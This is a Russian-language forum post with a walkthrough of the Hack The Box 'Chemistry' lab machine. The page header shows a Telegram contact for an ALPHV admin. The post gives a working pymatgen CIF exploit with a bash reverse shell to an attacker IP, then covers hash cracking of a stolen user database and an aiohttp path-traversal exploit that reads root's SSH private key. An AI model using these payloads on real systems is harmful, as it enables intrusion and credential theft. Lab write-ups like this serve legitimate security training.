• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья HTB Chemistry. Эксплуатируем RCE в пакете pymatgen

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня эксплуатируем уязвимость произвольного выполнения кода в pymatgen — библиотеке Python, которая используется в материаловедении. Потом получим учетные данные с хоста на Linux и повысим привилегии через LFI в aiohttp.
Наша цель — получение прав суперпользователя на машине Chemistry с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.38 chemistry.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 8.2p1;
  • 5000 — веб‑сервер Werkzeug.
На сайте нас сразу же встречает форма авторизации.

Для просмотра ссылки Войди или Зарегистрируйся

Точка входа​

Регистрируем новую учетную запись, логинимся и видим форму загрузки файла CIF.

Для просмотра ссылки Войди или Зарегистрируйся
К тому же на сайте доступен для скачивания пример такого файла.

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом попробуем загрузить файл любого другого формата. В этом случае сервер выдаст ошибку. Видимо, это связано с тем, что файл CIF как‑то проверяется. А это значит, что веб‑приложение загружает и обрабатывает его.

Для просмотра ссылки Войди или Зарегистрируйся
Формат редкий, а значит, вряд ли есть много библиотек, которые работают с ним. Скорее всего, нужно смотреть в сторону либ на Python, поскольку на нем написан встреченный нами веб‑сервер Werkzeug. Я поискал в Google подходящие уязвимости.

Для просмотра ссылки Войди или Зарегистрируйся
Первая же Для просмотра ссылки Войди или Зарегистрируйся сообщает нам о баге в пакете pymatgen, который используется для обработки CIF на Python.

Для просмотра ссылки Войди или Зарегистрируйся
Метод JonesFaithfulTransformation.from_transformation_str() для обработки данных использует очень опасную функцию eval(), которая позволяет выполнять код на Python. Но из‑за плохой проверки данных, переданных в функцию, есть возможность выполнить свой произвольный код, что приводит к RCE на сервере.


Точка опоры​

В том же репозитории есть и содержимое файла vuln.cif — это PoC (подтверждение концепции) уязвимости.

Для просмотра ссылки Войди или Зарегистрируйся
Воспользуемся этим PoC и отправим файл, но нагрузку заменим вот таким реверс‑шеллом:

Код:
/bin/bash -c 'sh -i >& /dev/tcp/10.10.16.86/4321 0>&1

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.16.86/4321 0>&1'");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
Для просмотра ссылки Войди или Зарегистрируйся
В таблице на сайте найдем свой файл. Теперь запустим листенер (pwncat-cs -lp 4321) и через кнопку View выполним нагрузку из загруженного CIF.

Для просмотра ссылки Войди или Зарегистрируйся
Мы получили сессию пользователя, от имени которого работает веб‑приложение.


Продвижение​

Для повышения привилегий нам нужно найти учетные данные. Так как на хосте работает веб‑приложение, оно, вероятно, использует базу данных, а значит, как‑то к ней подключается и в исходных кодах можно будет найти учетные данные от нее. Давай поищем пароли и секреты в каталоге приложения — /home/app.

Для просмотра ссылки Войди или Зарегистрируйся
В папке /home/app/instance находим файл базы данных database.db. Инструмент pwncat-cs позволяет нам его легко скачать. Комбинацией клавиш Ctrl-D выходим в основное меню pwncat-cs, затем командой download скачиваем нужный файл и, введя команду back, возвращаемся в сессию на удаленном хосте.

Для просмотра ссылки Войди или Зарегистрируйся
Файл баз данных я просматриваю через DB Browser. Из таблицы user получаем много логинов и хешей паролей.

Для просмотра ссылки Войди или Зарегистрируйся
Попробуем найти прообразы хешей. Первым делом скопируем и вставим все хеши в форму на сайте Для просмотра ссылки Войди или Зарегистрируйся. Так получаем пароли пользователей rosa, carlos, peter и victoria.

Для просмотра ссылки Войди или Зарегистрируйся
Из четырех скомпрометированных пользователей учетная запись в ОС есть только у rosa. Это можно узнать из файла /etc/passwd.

cat /etc/passwd | grep bash
Для просмотра ссылки Войди или Зарегистрируйся
Меняем пользователя, от имени которого мы работаем, командой su и получаем новую сессию и первый пользовательский флаг.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но меня заинтересовали только открытые для локального хоста порты.

Для просмотра ссылки Войди или Зарегистрируйся
На порте 8080, скорее всего, работает какое‑то веб‑приложение, но оно доступно только с адреса 127.0.0.1, поэтому для доступа к сайту нужно туннелировать соединение, например с помощью SSH.

ssh rosa@10.10.11.38 -L 8090:127.0.0.1:8080
В результате весь трафик, который мы пошлем на локальный порт 8090, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через хост SSH.

Теперь можно посмотреть сайт через браузер.

Для просмотра ссылки Войди или Зарегистрируйся
Как показывает Для просмотра ссылки Войди или Зарегистрируйся, в качестве веб‑сервера используется aiohttp 3.9.1.

Для просмотра ссылки Войди или Зарегистрируйся
Ищем известные уязвимости и готовые эксплоиты для этого сервера и находим уязвимость Для просмотра ссылки Войди или Зарегистрируйся и сразу же Для просмотра ссылки Войди или Зарегистрируйся для нее.

Для просмотра ссылки Войди или Зарегистрируйся
При использовании aiohttp в качестве веб‑сервера и настройке статических маршрутов необходимо указать корневой путь для статических файлов. Кроме того, можно использовать параметр follow_symlinks, чтобы определить, следует ли серверу переходить по символическим ссылкам за пределами статического корневого каталога. Если для параметра follow_symlinks установлено значение True, проверка того, находится ли файл в корневом каталоге, не выполняется. Это приводит к уязвимости — можно выйти за пределы каталога и получить доступ к произвольным файлам в системе, даже если символические ссылки отсутствуют.

Для просмотра ссылки Войди или Зарегистрируйся

info​

Подробное объяснение техники path traversal ты можешь найти в статье «Для просмотра ссылки Войди или Зарегистрируйся».
В эксплоите, помимо адреса и пути к файлу, который необходимо прочитать, нужно указать и путь к статически определенному каталогу. Чтобы узнать, что это за каталог, можно проверить исходный код страницы.

Для просмотра ссылки Войди или Зарегистрируйся
Попробуем в качестве статически заданного каталога использовать /assets для получения содержимого файла /etc/passwd.

python3 exploit.py -u Для просмотра ссылки Войди или Зарегистрируйся -f /etc/passwd -d /assets
Для просмотра ссылки Войди или Зарегистрируйся
Уязвимость подтверждена, а значит, мы можем прочитать любой файл в системе. Проверим, есть ли у рута приватный ключ SSH.

python3 exploit.py -u http://127.0.0.1:8090 -f /root/.ssh/id_rsa -d /assets
Для просмотра ссылки Войди или Зарегистрируйся
С приватным ключом подключаемся к SSH и забираем последний флаг.

ssh -i id_rsa root@chemistry.htb
Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here